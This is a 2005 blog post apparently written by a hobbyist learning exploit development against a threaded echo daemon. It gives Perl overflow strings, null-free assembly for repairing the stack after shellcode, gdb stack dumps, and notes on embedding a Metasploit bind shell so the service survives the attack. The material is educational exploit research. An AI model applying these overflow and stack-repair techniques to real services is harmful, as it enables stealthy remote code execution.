-atlas wandering-
   


-atlas wandering-
Bloggorama for breaking things

\

Categories:
  • /(45)

Subscribe
Subscribe to a (RSS) feed of this weblog.



Archives


This Blog





atlasutils-2.2.11.tgz


atlasutils-current.tgz

       
Tue, 06 Dec 2005

Stack Rebuilding

Well, as for the "next target", I've selected visigoth's "fucktcpd". But that's another post. Right now I wanted to share a little about rebuilding echod's stack so it returned properly.

*) Start with the basics (I know nothing about this, so I'm feeling my way): Returning in the program
A quick backtrace from the "reverse_echo_cmd" sub (using the debugger gdb) shows that returning correctly should send the instruction pointer to 0x804916a.
Hmmmmm, I know that at the beginning of each sub is a

push %ebp
mov %esp,%ebp

and checking the contents of the stack show the address at %ebp+4, aka 0x4(%ebp):

13: x/32xw $ebp - 92
0xbfaedeec: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedefc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf0c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf1c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf2c: 0x00000000 0xbfaedf50 0x0804c6bb 0x0804c6bc
0xbfaedf3c: 0x00000000 0xbfaedfec 0x08054700 0xbfaedfb8
0xbfaedf4c: 0x0804916a 0x00000004 0x00000002 0xbfaedf70
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
(%ebp is in bold and 0x4(%ebp) is shown in italics)
We already knew this since that's the address we had to overwrite. We'll refer to this snippit later on as we clean up the stack.

So I set a breakpoint at the "leave" instruction for this sub. Then, allow the instruction to execute using "si".
I'm next left with the stack looking like this:

14: x/32xw $esp
0xbfaedf4c: 0x0804916a 0x00000004 0x00000002 0xbfaedf70
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
0xbfaedf6c: 0x00000002 0x0804a900 0x0804a904 0x00000000
0xbfaedf7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf9c: 0x00000000 0x00000000 0xbfaedf70 0x0000007d
0xbfaedfac: 0x00000004 0x00000000 0x00000000 0xbfaedfd8
0xbfaedfbc: 0x2807faf1 0xbfbfecc4 0x00000000 0x00000000
13: x/32xw $ebp - 92
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
0xbfaedf6c: 0x00000002 0x0804a900 0x0804a904 0x00000000
0xbfaedf7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf9c: 0x00000000 0x00000000 0xbfaedf70 0x0000007d
0xbfaedfac: 0x00000004 0x00000000 0x00000000 0xbfaedfd8
0xbfaedfbc: 0x2807faf1 0xbfbfecc4 0x00000000 0x00000000
0xbfaedfcc: 0x00000000 0x00000000 0x280964bc 0x00000000
(the top part shows the stack starting with %esp. the bottom views the stack so that %ebp is on the right side of the sixth row, or the third from the bottom. in case you can't tell, these are two of my favorite "display" settings in gdb)

Key point: See our favorite address at the very top of the stack. After poking around, the "leave" function reverses the beginning of the sub:

mov %ebp, %esp
pop %ebp


All that's left to do after that is to return to the calling function...
So, when we're done with the shellcode (I broke the execve() call to tinker), we'll simply push 0x804916a and then ret... Let's try it:

push $0x804916a
ret


This did indeed return me into handle_client where we left off, but I get a segfault soon thereafter.
hmmm... it appears we have thrashed the stack, and must so some rebuilding.

Comparing at the start of the NOP sled to post-shellcode (sorry, no screenshots for this one), it seems the shellcode used leaves 0x58 bytes on the stack.  Well, they can't be blamed for not expecting us to return here.  Let's try readjusting %esp like so:
add    $0x58,%esp            ---------------------   clean up stack (messy, messy shellcodeses!)

Comparing again, %esp is where it should be.  %ebp, however, is *completely* smashed.  Remember, the "leave" command did the "pop %ebp"?  Well, my initial sploit overwrote everything up to the return address with "A", so of course, %ebp looks like "0x41414141".  So, I make the change in my sploit to overwrite this space with the correct value of %ebp afterward (which we'll find is a problem later), and a couple other fixes:
$string = "REV \x05\xbf\xae\xdb\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x94 . reverse($shellcode) . $NOP;
    (you may wonder about the initial \x05.  The string ends in 0x00, and this byte overwrites the significant part of the next value on the stack: 0x00000005.  By prepending the \x05, we overwrite the *next* byte with the 0x00, which happens to already equal that )

This worked!  However, in the process of figuring this out, I ran across another nifty fact about Multithreadded apps which I'll get into in a few minutes.

So, we have returned into the calling sub, reset %esp to it's appropriate place, and %ebp now returns to its appointed position.  That should be good, right?  wrong.  Don't get me wrong, this was quite an accomplishment, but I'm not quite there yet.  We are returning into handle_client fine, and disconnecting the connection does allow handle_client to exit, and the thread looks like it's about to be recycled... then it SegFaults.  

What?  Hmmmm....  So what are we missing?  Well, apparently the thread destructor does a jmp %ebx or somesuch.... and of course, %ebx is used in the shellcode.  DOH!  So, ok, I'll push %ebx at the beginning of the shellcode, then pop it off later.  That seems to work, at least as far as I have pursued it so far...  More on that later (perhaps in another post).  

The problem that keeps nagging me at this point is as follows:  I'm discovering that this sucker assigns a chunk of stack space for each thread.  So the first thread might be at 0xbfaeXXXX, the second thread is then at 0xbfadXXXX, and the next thread at 0xbfacXXXX and so on.  I can predict where *within that space* the data is going to reside, however, I can't predict what thread I'll get...  And worse yet, this puppy doesn't just affect returning gracefully, this affects exploit execution altogether.  I'm returning into the stack, so that stack has to be the same, or my sploit has to magically change on-the-fly prior to any sploit-execution...  Not very possibly in *this* universe.  I had been experiencing odd inconsistencies on occasion, and it looks like this is the culprit.  
The solution, however, was quite nice.  Ok, so the stack space is dynamic and a change of threads can totally screw up the exploit.  There happens to be a place in memory this data gets copied to for every thread: 0x804a904  
This is shared memory, so it's still possible to run into issues if other threads write to it before we can execute the shellcode, but it's the best things I can find.  One key point: This data is *PRE-REVERSING* so the shellcode has to go back to straight-forward.

So the sploit code starts to look like this:

 $string = "REV \x05\x08\x04\xa9\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x93 . $shellcode . $NOP;

We dropped the return pointer a little after the start of the memory buffer so as not to try to execute the "stack repairing" data as code.

Ok, so we can execute code regardless of thread... but now we have the whole return gracefully thing.  If we hard-code the %ebp replacement (as we currently are) we could really cause nasties, as the %ebp for thread 2 would then point to the stack for thread 1!  Not good.   Solution?  

My choice was to compare %ebp to %esp.  Luckily the relationship appears static at this point in the code.  %ebp is consistently 0x68 bytes greater than %esp.  So we just add 0x68 to %esp and we get %ebp, right?  Well, sorta.  There are two tricks to it:

  1. We have to make %ebp = %esp, then do the addition to %ebp.
  2. We can't simply add 0x68, since that compiles to \x81\xc5\x68\x00\x00\x00 and that is not String-friendly  (ie.  The string ends at the first \x00, boys)
  3. We're not only interested in %ebp's location, but also interested in the content there.  This determines the *next* part of the stack trace, apparently 0x20 bytes north of here.
My solution looks a little like this:
   54                      push   %esp            (clean up ebp)
   5d                      pop    %ebp                    #  "
   81 c5 68 01 01 01       add    $0x1010168,%ebp         # + 68 -1
   81 ed 01 01 01 01       sub    $0x1010101,%ebp         #  "
   89 6d 01                mov    %ebp,0x1(%ebp)          #  "
   83 45 01 21             addl   $0x21,0x1(%ebp)         #  "
   45                      inc    %ebp            (done cleaning up ebp)
Start off setting %ebp=%esp.
Then, add 0x01010168 to %ebp (no zeros)
Next, subtract 0x01010101 from %ebp (putting %ebp at 1 less than it should be)
Then, we put %ebp's value into the location %ebp should be pointing at
Increment that value by 0x21 (0x20 + the 1 off that %ebp is currently)
Finally, increment %ebp to its proper location.

Why did I leave %ebp one-off?  Because writing directly to %ebp causes a 0x00 to show up, ending the string and foiling the overflow attempt.

Ok, so the shellcode ends up looking like this:

<NOP SLED>
0x804a976 <recv_msg.0+118>:     push   %ebx                save ebx for later
<METASPLOIT BSD BIND SHELL>
0x804a9c5 <recv_msg.0+197>:     add    $0x58,%esp            ---------------------   clean up stack (messy, messy shellcodeses!)
0x804a9c8 <recv_msg.0+200>:     pop    %ebx                clean up ebx
0x804a9c9 <recv_msg.0+201>:     push   %esp                clean up ebp
0x804a9ca <recv_msg.0+202>:     pop    %ebp                    "
0x804a9cb <recv_msg.0+203>:     add    $0x1010168,%ebp                "
0x804a9d1 <recv_msg.0+209>:     sub    $0x1010101,%ebp                "
0x804a9d7 <recv_msg.0+215>:     mov    %ebp,0x1(%ebp)                "
0x804a9da <recv_msg.0+218>:     addl   $0x21,0x1(%ebp)                "
0x804a9de <recv_msg.0+222>:     inc    %ebp                    "
0x804a9df <recv_msg.0+223>:     push   $0x804916a            push address for "Happy Returns"
0x804a9e4 <recv_msg.0+228>:     ret                    return into the old happy hunting grounds!


Ok, here's the current state of things.
I mentioned before that I broke the execve() call while working on this.  Fixing it made the bind shell take place but then exited (gracefully :(  )
As it turns out, I don't have a fork() call before the execve(), so all this is for naught at the moment.  I have to add in the fork() call before moving forward on the cleanup process.  I believe this will look something like this:

 call fork                       # duh
 cmp %eax,0x0                    # parent process gets child pid in eax.  child gets 0x0
 jn keepgoing                    # Parent moves on to clean up stack and return
 (execve code stuffs)            # Child gets to execve() which then exits
keepgoing:
 (cleanup stack, ret)

The next challenge I'd like to take on is connection re-use.  This is where the exploit reuses the same connection to bind the shell to.  That is a whole other ball of wax.  Perhaps something for fucktcpd?  Perhaps for echod?  Who knows.  Stick around to find out!


------------------------------------------
Here's directly from my notes (forgive the laziness here, just want to include as much as possible and I've still got a lot of work and learning to do):

Learned:

returning back into the program is not hard... simply "push (ret address)" and "ret"
*) apparently, "leave" (executed directly before "ret") cleans up local variables and pops off %ebp kinda like this:
    mov %ebp, %esp
    pop %ebp

returning back into the program *correctly* is not so much... the stack must be in decent condition, and %ebp must be repaired...
*) While I'm able to overwrite %ebp with a typical value, the multitreading makes this part more difficult.
*) Instead, I'm trying the following approach within my shellcode:
14: 54 push %esp
15: 5d pop %ebp
16: 81 c5 a5 01 01 01 add $0x10101a4,%ebp # + A4, size of the stack for handle_client, the calling sub
1c: 81 ed 01 01 01 01 sub $0x1010101,%ebp #
22: 89 6d 01 mov %ebp,0x1(%ebp)
25: 83 45 01 30 addl $0x30,0x1(%ebp)
29: 45 inc %ebp
2a: 68 6a 91 04 08 push $0x804916a
2f: c3 ret

multithreaded app creates difficulties for both returning into shellcode as well as returning gracefully....
multithreading causes issues with ebp as well.
*) each thread has its own stack space. 0xbfaexxxx for one thread while 0xbfadxxxx for another
%ebp points to its previous location, making backtraces simple?


(While Troubleshooting the %ebp and %ebx fixing.  Turns out I popped %ebx in the wrong place and threw off the %ebp calculation)
(SPLOIT DATA)
Breakpoint 2, 0x0804916a in handle_client ()
10: x/32xw $esp
0xbfaedf50: 0x00000005 0x00000002 0xbfaedf70 0x00000000
0xbfaedf60: 0x00000000 0x00000000 0x0804a748 0x00000002
0xbfaedf70: 0x0804a900 0x0804a904 0x00000000 0x00000000
0xbfaedf80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedfa0: 0x00000000 0xbfaedf70 0x00000425 0x00000005
0xbfaedfb0: 0x00000000 0xbfaedfd4 0xbfaedfd8 0x2807faf1
0xbfaedfc0: 0xbfbfecbc 0x00000000 0x00000000 0x00000000
9: x/32xw $ebp - 92
0xbfaedf58: 0xbfaedf70 0x00000000 0x00000000 0x00000000
0xbfaedf68: 0x0804a748 0x00000002 0x0804a900 0x0804a904
0xbfaedf78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf88: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf98: 0x00000000 0x00000000 0x00000000 0xbfaedf70
0xbfaedfa8: 0x00000425 0x00000005 0x00000000 0xbfaedfd4
0xbfaedfb8: 0xbfaedfd8 0x2807faf1 0xbfbfecbc 0x00000000
0xbfaedfc8: 0x00000000 0x00000000 0x00000000 0x280964bc
8: /x $eax = 0x2
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x1
5: /x $edx = 0x0
4: /x $edi = 0x8
3: /x $esi = 0xbfaedfec
2: /x $eflags = 0x286
1: x/i $pc 0x804916a <handle_client+206>: add $0x10,%esp
(gdb) ni



(VALID DATA)
Breakpoint 2, 0x0804916a in handle_client ()
10: x/32xw $esp
0xbfaedf50: 0x00000005 0x00000002 0xbfaedf70 0x00000000
0xbfaedf60: 0x00000000 0x00000000 0x0804a748 0x00000002
0xbfaedf70: 0x0804a900 0x0804a904 0x00000000 0x00000000
0xbfaedf80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedfa0: 0x00000000 0xbfaedf70 0x00000019 0x00000005
0xbfaedfb0: 0x00000000 0x00000000 0xbfaedfd8 0x2807faf1
0xbfaedfc0: 0xbfbfecbc 0x00000000 0x00000000 0x00000000
9: x/32xw $ebp - 92
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
0xbfaedf6c: 0x00000002 0x0804a900 0x0804a904 0x00000000
0xbfaedf7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf9c: 0x00000000 0x00000000 0xbfaedf70 0x00000019
0xbfaedfac: 0x00000005 0x00000000 0x00000000 0xbfaedfd8
0xbfaedfbc: 0x2807faf1 0xbfbfecbc 0x00000000 0x00000000
0xbfaedfcc: 0x00000000 0x00000000 0x280964bc 0x00000000
8: /x $eax = 0x800
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x804c100
5: /x $edx = 0x8054600
4: /x $edi = 0x8054700
3: /x $esi = 0xbfaedfec
2: /x $eflags = 0x282
1: x/i $pc 0x804916a handle_client +206="": add $0x10,%esp
(gdb)



(Troubleshooting SegFault caused by %ebx being modified)

(pre-"REVERSE")
8: /x $eax = 0x8048f24
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x2815f454
5: /x $edx = 0x0
4: /x $edi = 0x8054900
3: /x $esi = 0xbfaddfec
2: /x $eflags = 0x296
1: x/i $pc 0x8049168 <handle_client +204="">: call *%eax

----------------------------(post-"REVERSE", normal input)
Breakpoint 2, 0x0804916a in handle_client ()
8: /x $eax = 0x800
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x804c100
5: /x $edx = 0x8054600
4: /x $edi = 0x8054700
3: /x $esi = 0xbfaedfec
2: /x $eflags = 0x282
1: x/i $pc 0x804916a <handle_client +206="">: add $0x10,%esp
----------------------------(post-"REVERSE", sploit)
Breakpoint 2, 0x0804916a in handle_client ()
8: /x $eax = 0x2
7: /x $ebx = 0xbfaddf08
6: /x $ecx = 0x1
5: /x $edx = 0x0
4: /x $edi = 0x9
3: /x $esi = 0xbfaddfec
2: /x $eflags = 0x286
1: x/i $pc 0x804916a <handle_client +206="">: add $0x10,%esp






# PRE: 53 push %ebx

# 14: 83 c4 58 add $0x58,%esp (clean up esp)
# 15: 5b pop %ebx (clean up ebx for thread-kill)
# 17: 54 push %esp (clean up ebp)
# 18: 5d pop %ebp # "
# 19: 81 c5 68 01 01 01 add $0x1010168,%ebp # + 68 -1
# 1f: 81 ed 01 01 01 01 sub $0x1010101,%ebp # "
# 25: 89 6d 01 mov %ebp,0x1(%ebp) # "
# 27: 83 45 01 21 addl $0x21,0x1(%ebp) # "
# 2c: 45 inc %ebp (done cleaning up ebp)
# 2d: 68 6a 91 04 08 push $0x804916a (return into handle_client)
# 32: c3 ret (go!)
#

[] permanent link / /





August 2010
Sun Mon Tue Wed Thu Fri Sat